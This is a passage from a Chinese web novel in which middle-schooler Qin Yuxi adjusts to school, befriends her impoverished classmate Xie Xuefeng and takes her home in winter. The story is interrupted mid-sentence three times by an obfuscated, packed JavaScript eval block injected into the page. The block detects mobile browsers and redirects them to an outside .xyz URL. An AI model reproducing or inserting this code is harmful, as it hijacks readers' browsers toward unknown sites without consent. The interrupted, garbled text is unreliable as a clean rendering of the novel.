“看什么呢？”林婉仪问。 秦语曦摇摇头，钻进车里：“没什么。” 车驶离校门口，秦语曦望着窗外飞速后退的街景，心中暗暗下定决心：初中生活就要开始了，她要好好珍惜这个机会，不负父母的期望。 4. 4. 8月31日的傍晚，夕阳的余晖为城市披上了一层金黄色的薄纱。林婉仪送秦语曦去学校。她细心地叮嘱：“晚自习到十点半，爸爸会在校门口接你。记得多喝水，晚上凉，别坐在空调风口下。” “知道啦妈妈，你都说了三遍了。”秦语曦嘴上抱怨着，心里却暖暖的。 六点二十分，林婉仪将秦语曦送到教室前。 “好好听课，别开小差。”林婉仪叮嘱道。 秦语曦点头，快步走进教学楼。当她推开初一五班教室门时，惊讶地发现教室里几乎已经坐满了同学。这些刚刚结束军训的孩子们，对中学生活既期待又紧张，大多提前到了教室。 谢雪凤早已坐在第三组第一排——正对着讲台的位置上。她腰背挺直，双手叠放在桌面，仿佛已经做好了全部准备。当秦语曦进门时，她的目光跟随了这个穿着整洁校服、扎着利落马尾的女孩一阵。她猜测秦语曦可能会选择坐在前排，但秦语曦的视线只是在前面扫过，并没有停留。 秦语曦不喜欢坐在前面，她觉得离老师太近会有压力。她的目光投向教室后方，突然眼睛一亮——靠窗的第五组第三排，她的军训好友陆思敏坐在里面靠窗的位置，外面的座位还空着。 “这里有人吗？”秦语曦走过去轻声问道。 陆思敏抬头，顿时笑开了：“语曦！没人，快坐！”她热情地拍了拍旁边的空位。 秦语曦高兴地坐下，从书包里拿出笔袋和笔记本摆放整齐。她朝门口望去，看见林婉仪还站在那儿朝里看。她朝妈妈挥了挥手，用口型说了句“放心吧”。林婉仪微笑着挥手回应，这才转身离开。 六点半整，上课铃响起，一位年轻的男老师准时走进教室。他约莫二十七八岁，戴着一副黑框眼镜，看起来文质彬彬又充满活力。 “同学们晚上好，我是你们的班主任陆明宇。”他在黑板上写下自己的名字，字迹潇洒有力，“我毕业于华东师范大学，教数学科目。未来的三年，将由我陪伴大家度过初中时光。” 简单的自我介绍后，陆老师环视教室：“现在需要几位同学帮忙去教务处搬新书，有自愿的吗？” 几个同学立刻举手，秦语曦也跃跃欲试地举起了手。陆老师点了包括秦语曦在内的六位同学。几分钟后，大家抱着厚厚的课本回来了。 “现在一组一组按顺序来拿书，不要拥挤。”陆老师指挥着，班上秩序井然。 当秦语曦拿到那叠崭新的课本时，忍不住深吸一口气——那是油墨和纸张混合的特殊香气。她小心翼翼地翻阅着，语文、数学、英语、历史、地理、生物......每一本封面设计精美，内容丰富多彩。 “好多书啊，”她小声对陆思敏说，“比小学多了一倍不止。” 陆思敏点头：“是啊，感觉任务好重。” 晚自习第一节课，陆老师带领大家预习数学课本第一章。他讲课生动有趣，秦语曦发现自己的数学底子还算扎实，大部分内容都能跟上。 第二节课是英语预习课。任课的何老师是位年轻的女教师，毕业于上海外国语大学，发音标准而动听。她让大家轮流朗读课文段落，并纠正发音。 第三节课是自习课，同学们可以自由安排学习内容。秦语曦拿出语文课本，开始阅读第一篇课文——朱自清的《春》。她被文中优美的语言所吸引，不知不觉就读完了全文，还做了许多批注。 下课铃响时，秦语曦才惊觉时间过得如此之快。同学们开始收拾书包，教室里顿时充满了喧闹声。 “一起走吗？”陆思敏问。 “我得等我好朋友梁清嘉，她在三班。”秦语曦说，“明天见！” “明天见！” 秦语曦在走廊等了几分钟，就看到梁清嘉从三班教室冲出来。 “曦曦！”梁清嘉跑过来挽住她的手臂，“新班级怎么样？” “挺好的，班主任教数学，看起来人很好。”秦语曦边说边和梁清嘉一起走下楼梯，“你们班呢？” “我们班主任是语文老师，有点严肃哦......”两个女孩叽叽喳喳地交流着第一天的感受，走出校门。 校门口已经聚集了不少来接孩子的家长。秦语曦一眼就看到了秦国栋，旁边站着梁清嘉的爸爸梁建宏。两个父亲正在聊天，看到女儿出来，都露出了笑容。 “爸爸！梁叔叔好！”秦语曦礼貌地打招呼。 “秦叔叔好！”梁清嘉也乖巧地问好。 由于两家住在同一个小区同一栋楼——秦语曦家买的是六楼，梁清嘉家则在八楼，两位父亲决定一起回家。路上，秦语曦兴奋地向父亲讲述第一天的经历：新发的课本、有趣的老师、预习的内容...... 回到家已经快十一点了。林婉仪还在客厅等着，见女儿回来，连忙起身：“怎么样？还适应吗？” “很好哦！班主任是华东师大毕业的，教数学......”秦语曦又向母亲复述了一遍今天的经历。 然而没讲几分钟，林婉仪就打断了她：“好了，明天还要早起，六点五十要升旗呢，快去洗澡睡觉，这些明天再慢慢说。” 秦语曦这才意识到时间已晚，连忙拿了睡衣去洗漱。温热的水冲刷着身体，洗去了一天的疲惫。她快速擦干身体，换上睡衣，钻进被窝。 躺在床上，秦语曦回想这一天的点点滴滴：新教室、新老师、新课本......一切都充满了新鲜感。她闭上眼睛，期待着明天的升旗仪式和正式开始的初中课程。 在入睡前的朦胧中，她仿佛看到了自己在附外度过三年时光的画面——学习、成长、结交朋友......这个开始让她对未来的初中生活充满了期待。 九月一日的清晨，阳光透过薄雾洒在师大附属外国语学校的操场上。开学第一天的升旗仪式即将开始，初一新生们穿着崭新的校服，按照班级队列整齐地站着。 秦语曦站在五班的队伍里，踮起脚尖寻找着三班的好友梁清嘉。当两人的目光在空中相遇时，她们不约而同地做了个鬼脸，然后又迅速恢复严肃表情，生怕被老师发现。 “立正！升旗仪式现在开始！”广播里传来响亮的口令。 庄严的国歌声中，五星红旗缓缓升起。秦语曦注视着国旗，心中涌起一股莫名的激动。这是她中学生涯的第一天，一切都是新的开始。 仪式结束后，各班按顺序返回教室。秦语曦故意放慢脚步，等着从后面赶上来的梁清嘉。 两个女孩边说边走上楼梯。三班和五班在同一层楼，只隔着四班。在五班门口，秦语曦看到谢雪凤已经坐在教室里预习今天的课程了。 “哇，她也太用功了吧，这才刚开学呢。”梁清嘉惊讶地说。 秦语曦点点头：“听说她成绩特别好，是以第一名考进附外的。” “那你可要小心了，别被比下去哦！”梁清嘉开玩笑地拍拍好友的肩膀，然后快步向三班教室跑去。 秦语曦走进教室，在自己的座位坐下。 “早啊。”陆思敏笑着打招呼。 “早。”秦语曦回以微笑，从书包里拿出课本。 上课铃响，班主任陆明宇走进教室。他环视一圈，看到所有学生都已到齐，满意地点点头。 “同学们，今天是我们正式上课的第一天。在开始之前，有件事要宣布——本周是班干部竞选和社团招新周。有兴趣的同学可以准备一下，周五进行班干部竞选演讲，社团招新也在周五下午举行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484404|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教室里响起一阵窃窃私语。秦语曦和陆思敏交换了一个眼神，都从对方眼中看到了“没兴趣”三个字。 下课后，同学们三三两两讨论着班干部和社团的事。 “语曦，你想竞选吗？”陆思敏问道。 秦语曦摇摇头：“不太想，当班干部好麻烦的。社团我也不打算参加，周末我想多些时间练琴和画画。” “我也是！”陆思敏高兴地说，“我也不想参加，周末我要去学舞蹈。” 前排的谢雪凤一如既往地安静，她既没有参与讨论，也没有表现出任何兴趣。秦语曦注意到，当大家热烈讨论时，谢雪凤只是低头做着习题，仿佛这一切与她无关。 放学后，秦语曦和梁清嘉一起回家。她们住的旧城区房子离学校只有五百米，是同栋楼的不同楼层——秦语曦家在六楼，梁清嘉家在八楼。 “你想当班干部或者参加社团吗？”秦语曦问道。 梁清嘉立刻摇头：“才不要呢！多浪费时间啊。我哥说初中课程比小学难多了，得花更多时间学习。而且周末我还想睡懒觉呢！” 秦语曦笑了：“我也是这么想的。” 走到楼下，她们恰好遇到谢雪凤。她正独自一人向教职工宿舍方向走去。 “谢雪凤！”秦语曦叫了一声。 谢雪凤停下脚步，转过身来，脸上带着些许疑惑。 “你也住这附近吗？”秦语曦问道。 谢雪凤点点头，简短地回答：“教职工宿舍。”然后就转身离开了。 梁清嘉耸耸肩：“她好像不太喜欢和人交流。” “可能只是害羞吧。”秦语曦说着，心里却对那个总是独来独往的女孩多了几分好奇。 周一到周四，秦语曦和梁清嘉都住在旧城区的房子里。她们的父母平时下班后会回到这里，周末才回城西的大房子，秦宇晨和梁清嘉的哥哥梁清树已经上大学了，不需要父母过多操心。 这种安排让两个女孩有了更多自由空间。晚上做完作业后，她们经常会互相串门，一起看电视或聊天。 一个周四的晚上，梁清嘉来到秦语曦家。林婉仪和秦国栋还没回来，家里只有秦语曦和阿姨。 “我爸妈今晚又要加班。”秦语曦无奈地说，“你爸妈呢？” “一样。”梁清嘉瘫在沙发上，“大人总是这么忙。” 阿姨端来水果和点心，叮嘱她们：“先吃点东西再玩，作业都做完了吗？” “早就做完啦！”两个女孩异口同声地回答，然后相视而笑。 吃完点心，秦语曦拿出手机：“我哥给我发了几张北大的照片，好漂亮啊！” 梁清嘉凑过来看：“哇，未名湖真的好美！我哥也给我发了清华的照片，不过我觉得北大更漂亮。” “那是因为你没看过清华的图书馆，超级气派的！”秦语曦划到下一张照片，“我哥说清华的食堂也特别好吃，有十几个餐厅呢！” “真好，我也想去北京上大学。”梁清嘉憧憬地说。 “我也是！”秦语曦眼睛亮晶晶的，“不过还得等六年呢。” “六年很快的。”梁清嘉老气横秋地说，“我哥说高中三年一眨眼就过去了。” 两个女孩聊着未来的梦想，直到林婉仪和秦国栋回来。 “清嘉来了啊。”林婉仪微笑着打招呼，“吃饭了吗？” “吃过了，阿姨。”梁清嘉乖巧地回答。 “时间不早了，清嘉该回去了吧？明天还要上学呢。”秦国栋温和道。 梁清嘉吐了吐舌头，起身告辞。秦语曦送她到门口：“明天早上等我一起走啊。” “知道啦！”梁清嘉挥挥手，向楼上跑去。 5. 5. 临近国庆节时，秦语曦家里开始计划假期活动。 “曦曦，国庆节我们打算去北京玩，顺便看看你哥哥。”一天晚饭时，林婉仪宣布道。 “真的吗？”秦语曦惊喜地问，“可以去故宫和长城吗？” “当然可以。”秦国栋笑着点头，“你哥哥说他很想你，要求跟我们一起玩。所以我们订了两间房，一间大床房给我们，一间双床房给你和你哥哥。” “太棒了！”秦语曦高兴得几乎跳起来，“我好久没见到哥哥了！” “这是给你的奖励。”林婉仪摸摸女儿的头，“但是前提是第一次月考要考好哦。” 秦语曦信心满满地保证：“我一定会考好的！” 国庆假期第一天，秦家三口人踏上了前往北京的航班。飞机上，秦语曦一直望着窗外的云海，想象着见到哥哥的场景。 三人到达北京首都机场时，秦宇晨已经等在接机口。一家人先到酒店放行李。秦宇晨仔细检查了房间，确认环境安全舒适后，才放心让妹妹住下。 接下来的几天，秦宇晨当起了导游，带家人逛遍了北京的名胜古迹。在故宫，他耐心地为妹妹讲解历史；在长城，他鼓励妹妹爬到最高点；在颐和园，他帮父母拍下无数合影。 最后一天晚上，兄妹俩躺在各自的床上聊天。 “初中生活还适应吗？”秦宇晨关心地问。 秦语曦点头：“挺好的，就是感觉比小学累多了。哥，你当初是怎么适应大学生活的？” 秦宇晨笑了：“一开始也不适应，后来就习惯了。最重要的是找到自己的节奏，不要被别人影响。” 他顿了顿，继续说：“我记得你以前总说爸妈要求高，压力大。但现在想想，他们都是为了我们好。你看，要不是爸爸从小培养我学数学，我也不可能这么顺利地上北大。” 秦语曦沉默了一会儿，轻声说：“其实我现在已经不那么觉得了。跟有些同学比，我已经很幸福了。” 秦宇晨敏锐地察觉到妹妹话中有话：“怎么了？遇到什么了吗？” 秦语曦摇摇头：“没什么，就是有个同学家里特别困难，让我觉得自己已经很幸运了。” 秦宇晨没有追问，只是说：“能意识到自己是幸运的，这很好。但记住，每个人的生活都不一样，不要轻易比较，也不要盲目同情。尊重他人，做好自己就够了。” 这番话让秦语曦思考了很久。直到回G市的飞机上，她还在回味哥哥的话。 月考在十月中旬进行。考试持续两天，结束后大家都松了一口气。 “感觉怎么样？”梁清嘉问秦语曦。 “还行吧，数学最后一道题有点难，其他都还好。你呢？” “我觉得英语阅读有点难，其他科目都挺简单的。”梁清嘉说。 考试后第三天晚自习，班主任调整了位置，秦语曦被换到了第三组第四排同桌是谢雪凤。成绩在考试后的第四天出来了，班主任把成绩单贴在了公告栏。秦语曦挤进去看，谢雪凤考了班级年级双第一，秦语曦考了班级第二年级第五名。 秦语曦与梁清嘉报喜:“我是班级第二年级第五，你呢？” 梁清嘉高兴道：“我是班级第一，年级第二！语曦你也很棒啊！” 两个女孩高兴地击掌庆祝。 那天下午，梁建宏在附外附近的法院办事，顺道来看女儿。得知梁清嘉考了班级第一和年级第二，他高兴极了，当即去买了一袋梁清嘉最喜欢的零食。 “清嘉真棒！”梁建宏揉着女儿的头，“继续保持啊！” 与此同时，林婉仪也得知了女儿的成绩。她很高兴，特意买了两杯奶茶和一些甜品来到学校。 “曦曦，考得不错！”林婉仪递过奶茶和甜品，“这杯奶茶给你同桌吧，跟同学好好相处。” 秦语曦接过东西，心里暖暖的：“谢谢妈妈！” 临近晚自习时，秦语曦拿着两杯奶茶走进教室。她看到谢雪凤正坐在座位上，小口啃着一个干硬的馒头。 “谢雪凤，这是我妈妈买的奶茶，给你一杯。”秦语曦将一杯奶茶放在谢雪凤桌上。 谢雪凤愣了一下，摇摇头：“不用了，谢谢。” “没关系，我妈妈特意买的。”秦语曦坚持道，“你看，还有甜品，我们一起吃吧。” 谢雪凤看着那杯散发着香甜气息的奶茶，喉头微微动了动，最终还是小声说了句“谢谢”。 秦语曦好奇地问：“你就吃这个当晚饭吗？” 谢雪凤点点头，继续小口啃着馒头。 “为什么不去食堂吃点热乎的呢？”秦语曦不解地问。 谢雪凤沉默了一会儿，才轻声说：“省钱。” “省钱？”秦语曦更困惑了，“食堂的饭菜不是很便宜吗？” 谢雪凤低下头，声音几乎听不见：“我家有四个孩子，我是老三，还有两个姐姐和一个弟弟。大姐上高二，二姐上初三，弟弟上小学六年级。我们住在城中村，爸妈打工赚钱供我们上学...” 秦语曦震惊地听着，她从未想过身边会有生活如此困难的同学。 “所以...你每天就吃这个？”秦语曦指着那个已经冷硬的馒头。 谢雪凤点点头：“早上买三个馒头，就是一天的饭。” 秦语曦一时不知该说什么好。她想起自己有时还会抱怨父母要求太高，零花钱给得不够多。与谢雪凤相比，她的生活简直是天堂。 “给，这个也给你。”秦语曦把甜品也推给谢雪凤，“我吃过饭了，不饿。” 谢雪凤犹豫了一下，最终还是接过了甜品：“谢谢。” 那天晚上，秦语曦久久不能入睡。她想到谢雪凤每天只吃三个冷馒头，想到她连一杯奶茶都舍不得买，想到她穿着洗得发白的旧校服... 与此同时，她也想到了自己的父母。虽然他们工作忙，陪伴时间少，但总是给她最好的生活条件，从不吝啬在教育上的投入。她有自己的房间，有钢琴，有画具，有新衣服，有充足的零花钱... “其实我已经很幸福了。”秦语曦喃喃自语。在谢雪凤的对比下，她突然意识到自己拥有的太多太多。 那个周末，回到城西的家里。饭后，秦国栋和林婉仪给了秦语曦两百元当做奖励。 “曦曦要继续努力啊。”秦国栋笑着说，“不过也不要太有压力，保持这个水平就很好了。” 秦语曦接过钱，突然说：“爸爸妈妈，谢谢你们。” 林婉仪有些惊讶：“突然这么客气干什么？” “就是觉得...你们工作那么辛苦，还总是给我最好的。”秦语曦认真地说，“我以前有时还会抱怨你们陪我的时间少，但其实我知道你们已经很努力了。” 秦国栋和林婉仪对视一眼，都被女儿的突然成熟感动了。 “曦曦长大了。”林婉仪摸摸女儿的头，眼中闪着欣慰。 从那个周末开始，秦语曦对谢雪凤多了几分关注和照顾。她经常会多带一份零食，假装自己吃不完，分给谢雪凤；她会有意无意地把自己的参考书借给谢雪凤；她会在小组活动中主动与谢雪凤一组。 一个月后的一天下午，快要上课时，秦语曦注意到谢雪凤脸色苍白，额头上冒着冷汗，却还强撑着在做题。 “你怎么了？不舒服吗？”秦语曦关切地问。 谢雪凤摇摇头，声音虚弱：“没事...” 但秦语曦发现谢雪凤的校服裤子上有一小块深色痕迹。她立刻明白了什么。 下课铃一响，秦语曦就拉住要起身的谢雪凤：“等一下，你.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484405|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .是不是来月经了？” 谢雪凤的脸一下子红了，惊慌地低头查看，果然看到了裤子上的血迹。 “怎么办...”她几乎要哭出来。 秦语曦立刻从书包里拿出一个小包，里面备有卫生巾：“给，先用我的。你把外套围在腰上，挡住裤子，我陪你去卫生间。” 谢雪凤感激地接过卫生巾，按照秦语曦的建议把外套系在腰上。 在卫生间里，秦语曦耐心地教谢雪凤如何使用卫生巾，注意事项等。谢雪凤学得很认真，眼中满是感激。 “谢谢你，语曦。”谢雪凤小声说，“如果不是你，我今天就惨了。” “没关系啦，女生之间互相帮助是应该的。”秦语曦笑着说，“以后你需要可以随时找我。” 从那天起，谢雪凤对秦语曦的态度明显亲切了许多。她不再是那个总是独来独往、沉默寡言的女孩，开始会主动与秦语曦交流学习问题，偶尔也会聊几句家常。 秦语曦也发现，谢雪凤虽然家境贫困，但非常自尊自强。她从不主动索取什么，对秦语曦的帮助总是心存感激，并会以帮助秦语曦学习作为回报。 一次周末，秦语曦和梁清嘉约好去新开的购物中心玩。临出门前，秦语曦突然想起什么，给谢雪凤发了条信息：“我们要去购物中心玩，你要一起来吗？” 过了一会儿，谢雪凤回复：“谢谢，但我得学习。” 秦语曦想了想，又发了一条：“就半天嘛，劳逸结合很重要哦！而且听说那里有很多免费试吃和好玩的活动。” 经过一番劝说，谢雪凤终于同意了。 那天，三个女孩玩得很开心。秦语曦和梁清嘉尝试着用有限的零花钱请谢雪凤吃冰淇淋、玩游乐设施。谢雪凤一开始很拘谨，但逐渐放松下来，露出了难得的笑容。 回家路上，谢雪凤轻声对秦语曦说：“今天谢谢你，我已经很久没有这么开心过了。” “以后经常一起玩啊！”秦语曦开心地说。 梁清嘉也点头：“对啊，我们可以每周六下午一起写作业，然后出去玩一会儿。” 谢雪凤眼中闪着感动的光，重重地点了点头。 渐渐地，秦语曦发现，帮助谢雪凤不仅让对方受益，也让自己获得了一种满足感和幸福感。在看到谢雪凤因为自己的帮助而露出笑容时，她感到无比的快乐。 同时，通过与谢雪凤的对比，秦语曦更加珍惜自己拥有的一切。她不再抱怨父母陪伴时间少，而是感激他们为自己创造的良好条件；她不再觉得学习是负担，而是视为一种特权；她不再对物质生活有过高要求，而是学会满足和感恩。 这种变化也体现在她的学习态度上。秦语曦变得更加自觉和努力，成绩稳步提升。在期中考试中，她超过了梁清嘉，成为班级第二，年级第三，仅次于谢雪凤和另一个班的学霸。 “哇，语曦你进步好大！”梁清嘉看着排名说，“看来我得加油了，不能被你甩太远啊！” 秦语曦笑笑：“我们一起努力，争取都考上好高中。” 谢雪凤也走过来，罕见地主动开口：“有什么不懂的可以问我。” 三个女孩相视而笑，一种特殊的友谊在她们之间悄然生根发芽。 放学后，三个女孩一起走出校门。谢雪凤走向教职工宿舍，秦语曦和梁清嘉走向她们住的楼。 夕阳西下，将三个人的影子拉得很长。秦语曦看着谢雪凤远去的背影，心中涌起一个念头：无论未来如何，她都会记得这个秋天，记得这段特殊的友谊，记得自己如何通过帮助他人而找到了内心的平衡与幸福。 “走吧，明天又是新的一天。”秦语曦挽起梁清嘉的手臂，两个女孩笑着向家走去。 随着时间的推移，秦语曦和谢雪凤的友谊在悄悄生长。 6. 6. 十二月底的某天，林婉仪来学校给秦语曦送厚外套。看到女儿和谢雪凤在一起，她微笑着打招呼：“你就是谢雪凤吧？曦曦经常提起你，说你学习特别棒。” 谢雪凤有些拘谨地点头：“阿姨好。” 林婉仪将一袋水果递给秦语曦：“和同学分着吃。天气冷，多穿点，别感冒了。” 秦语曦接过袋子，立刻拿出一个苹果递给谢雪凤：“给你，我妈买的可甜了。” 谢雪凤犹豫了一下，还是接过了：“谢谢阿姨。” 林婉仪离开后，谢雪凤看着手中的苹果，轻声说：“你妈妈真好。” 秦语曦笑了：“你妈妈也很好啊，每天都给你准备馒头不是吗？” 谢雪凤的眼神黯淡了一下：“那是买的，不是准备的。我妈早上四点就要工作，没时间给我准备早餐。” 秦语曦意识到自己说错了话，连忙道歉：“对不起，我不是那个意思..……” “没关系，”谢雪凤摇摇头，“我知道你不是故意的。” 但那一刻，秦语曦清楚地感受到了两人之间的鸿沟。对她来说理所当然的母爱关怀，对谢雪凤来说却是奢侈品。 一月初的期末考试，谢雪凤再次夺得双第一，秦语曦考了班级第三、年级第五，梁清嘉则是班级第二、年级第四。 寒假的第二天，在市中心一家零食店里，秦语曦穿着纯白色羽绒服，内搭白色卡通毛衣，下身是白色羊绒休闲裤和小白鞋，连袜子都是纯白色的，整个人看起来就像一个精致的糯米团子。她正专注地挑选着零食，长长的睫毛在脸颊上投下淡淡的阴影。 “语曦？”一个不确定的声音从身后传来。 秦语曦转过身，看到谢雪凤站在不远处，手里抱着一叠宣传单，身上只穿着一件单薄的旧棉衣，冻得鼻尖发红。 “雪凤！你怎么在这里？”秦语曦惊喜地叫道，随即注意到好友的穿着，“穿这么少不冷吗？” 谢雪凤有些不好意思地低下头：“帮我妈妈发传单，她在这家店做临时促销员。” 就在这时，一个中年妇女从店里走出来，看到秦语曦后眼睛一亮：“雪凤，这是你同学？” 谢雪凤点头：“妈，这是秦语曦，我们班的。” 叶桂兰打量着秦语曦，目光在她那件白色羽绒服上停留了片刻。就在前几天，她也在波司登专卖店前徘徊了很久，想给孩子们买件像样的羽绒服——既保暖又能穿得久。但看了又看，最终还是没舍得买。此刻看到秦语曦穿着她心心念念的那款羽绒服，叶桂兰的眼神复杂地闪了闪。 再看秦语曦，皮肤细腻白皙，脸蛋因为寒冷透着淡淡的粉红，整个人像个精心打扮的洋娃娃。叶桂兰忍不住对比起自己的女儿——谢雪凤身形单薄，穿着洗得发白的旧棉衣，站在光鲜亮丽的秦语曦身边，更显得寒酸。 这一刻，叶桂兰下定了决心：就算省吃俭用，也要给孩子们买件像样的羽绒服，又暖又好看，还能穿好几年。 “阿姨好。”秦语曦礼貌地打招呼，声音甜甜的。 叶桂兰回过神来，忙笑道：“你好你好。雪凤经常提起你，说你学习好，人也好。” 秦语曦不好意思地笑了，转头对谢雪凤说：“你还要发多久传单？穿这么少会感冒的。” 谢雪凤摇摇头：“快发完了，等下妈妈要去接弟弟，我就回家了。” 秦语曦看着谢雪凤冻得发红的手，突然说：“要不你去我家拿件厚衣服吧？我家就在附近，城西那个小区。” 谢雪凤愣了一下，连忙摆手：“不用了，我不冷...” “还说不冷，手都冰成这样了。”秦语曦不由分说地拉住她的手，“走吧走吧，反正我也要回家了。” 叶桂兰见状，忙说：“雪凤，去吧，别辜负同学的好意。发完这些我就去接你弟弟。” 于是，在秦语曦的坚持下，谢雪凤只好跟着她往城西的高档小区走去。 秦语曦和谢雪凤一前一后走在积雪的人行道上。秦语曦像只快乐的小白兔，时不时回头跟谢雪凤说话；而谢雪凤则显得有些拘谨，小心翼翼地避免踩到积水的地方，生怕弄脏了唯一一双还算完好的鞋子。 “我们就从地下停车场走吧，近一些。”走到小区门口时，秦语曦提议道。 谢雪凤点点头，跟着秦语曦走进地下停车场。这里干净整洁，停着的都是高档轿车，与她熟悉的城中村环境天差地别。 梁清嘉与秦语曦住在同一个小区，梁清嘉住三栋，秦语曦住二栋。为了抄近道，秦语曦带着谢雪凤穿过停车场，准备从三栋的出口上去。 就在她们快到三栋出口时，一辆出租车在入口处停下。两个高挑的男生从车上下来，一个穿着黑色羽绒服和白色裤子，戴着黑色细半框眼镜；另一个穿着黑色羽绒服和灰色裤子，戴着银色细框眼镜。 正是放寒假回家的秦宇晨和梁清树。 秦宇晨先注意到了妹妹，喊道：“曦曦！” 秦语曦闻声回头，惊喜地叫道：“哥！清树哥！” 梁清树的目光落在谢雪凤身上，敏锐地察觉到了她的紧张和不安，于是温和地笑道：“曦曦带同学来玩啊？” 秦语曦轻快地说：“对呀！这是谢雪凤，我们班的学霸哦！”接着转向谢雪凤介绍道：“雪凤，这是我哥哥秦宇晨，这是梁清嘉的哥哥梁清树。” 谢雪凤小声打招呼：“你们好。” 秦宇晨和梁清树都礼貌地回应：“你好。” 秦宇晨看了看妹妹：“你们是要回家吗？一起走吧。” 梁清树走向三栋的电梯间：“我先回去了，嘉嘉那丫头肯定又宅在家里打游戏。曦曦，有空来家里玩。” “好的清树哥！”秦语曦挥手告别。 梁清树进了三栋，秦宇晨则自然地跟在两个女孩身后，一起进了二栋的电梯。 电梯里，秦宇晨注意到谢雪凤一直低着头，手指紧张地绞在一起，于是主动打破沉默：“听说你是年级第一？很厉害啊。” 谢雪凤的脸一下子红了：“没...没有，只是运气好。” 秦语曦插话道：“才不是运气呢！雪凤可努力了，每次考试都是第一！” 说说笑笑间，电梯到了秦语曦家所在的楼层。 刚走出电梯，秦语曦就迫不及待地按指纹打开家门。 “进来吧，不用换鞋。”秦语曦拉着谢雪凤走进客厅。 谢雪凤局促地站在门口，被眼前的景象震惊了。她以前也去过秦语曦的家，但那是旧城区120平米的房子，装修已经有些旧了。而眼前的这个家，是300平米的大平层，采用意式装修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484406|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风格，显得低调而奢华。 宽敞的客厅里，一整面落地窗可以俯瞰整个小区的景观；真皮沙发看起来柔软舒适；大理石茶几上摆放着精致的花艺；最引人注目的是客厅一角的那架黑色三角钢琴，在灯光下泛着优雅的光泽。 谢雪凤简直无法想象，这竟然是一个“家”——比她整个家大了不知道多少倍，装修精美得像杂志上的样板间。 就在这时，林婉仪和秦国栋也从外面回来了。看到女儿带同学回家，他们都很热情。 “曦曦带雪凤来啦？”林婉仪微笑着说，注意到谢雪凤单薄的衣着，眉头微微蹙起，“穿这么少不冷吗？” 秦国栋也关心地说：“快进来坐，喝点热茶暖暖身子。” 谢雪凤红着脸小声说：“阿姨叔叔好...” 秦国栋温和地说：“别站着，快坐。王阿姨，倒两杯热茶来。” 阿姨应声而来，端来两杯热气腾腾的茶。谢雪凤小心翼翼地接过，生怕弄洒了。 秦宇晨回房间放行李，秦语曦则拉着谢雪凤：“走，去我房间，我给你找件厚衣服。” 秦语曦的房间更是让谢雪凤惊叹不已。 整个房间以浅蓝色和白色为主色调，墙面是淡蓝色的漆，白色的衣柜和书柜沿墙摆放。房间中央是一张公主床，铺着卡通图案的床单，被子和枕头都是配套的浅紫色。最引人注目的是床上那个巨大的白色熊玩偶，看起来比秦语曦整个人还要大。 飘窗上散落着几个可爱的玩偶，书柜里不仅摆满了书，还有几个精致的海绵宝宝和派大星手办。浅紫色的书桌上整齐地放着文具和一台笔记本电脑。整个房间弥漫着女孩子特有的香甜气息，像是混合了糖果和花香的味道。 “哇...”谢雪凤忍不住轻声惊叹。这与她和两个姐姐共用的那个小房间相比，简直是天壤之别。 秦语曦似乎对这一切已经习以为常，她随手把羽绒服扔在床上，开始在衣柜里翻找：“我记得有件厚外套...啊，找到了！” 她拿出一件浅蓝色的厚外套，递给谢雪凤：“试试看合不合身？” 谢雪凤犹豫着接过外套，触手的感觉柔软而温暖，明显是质量很好的面料。她小心翼翼地穿上，生怕弄脏了。 “很适合你呢！”秦语曦高兴地说，“送给你吧，我衣服多得很。” 谢雪凤连忙摇头：“不行不行，这太贵重了...” “哎呀，别客气嘛！”秦语曦不由分说地拉着她往外走，“走，我们去客厅，我买的零食应该被哥哥拿出来了。” 果然，当她们来到客厅时，秦语曦之前放在鞋柜上的零食已经被秦宇晨拿到了茶几上。秦国栋正拿着遥控器调节空调温度，林婉仪则在吩咐王阿姨准备晚餐。 “雪凤也留下来吃饭吧，”林婉仪微笑着说，“正好尝尝王阿姨的手艺。” 谢雪凤连忙摆手：“不用了阿姨，我妈妈还在等我..……” “没事，我给你妈妈打个电话说一声，”林婉仪拿出手机，“你妈妈电话号码是多少？” 谢雪凤犹豫了一下，还是说出了母亲的号码。林婉仪走到阳台去打电话，不一会儿就回来了：“说好了，你妈妈让你安心吃饭，晚点让曦曦送你去地铁站。” 谢雪凤只好感激地点头：“谢谢叔叔阿姨。” 7. 7. 在等待晚餐的时间里，刚出差回来的秦国栋突然想起什么似的问秦语曦：“曦曦，期末成绩出来了吧？考得怎么样？” 秦语曦嘟着嘴：“爸爸一回来就问成绩！”但还是起身回房间拿成绩单和答题卡。 当她拿着成绩单回到客厅时，脸上带着小小的得意：“班级第三，年级第五！” 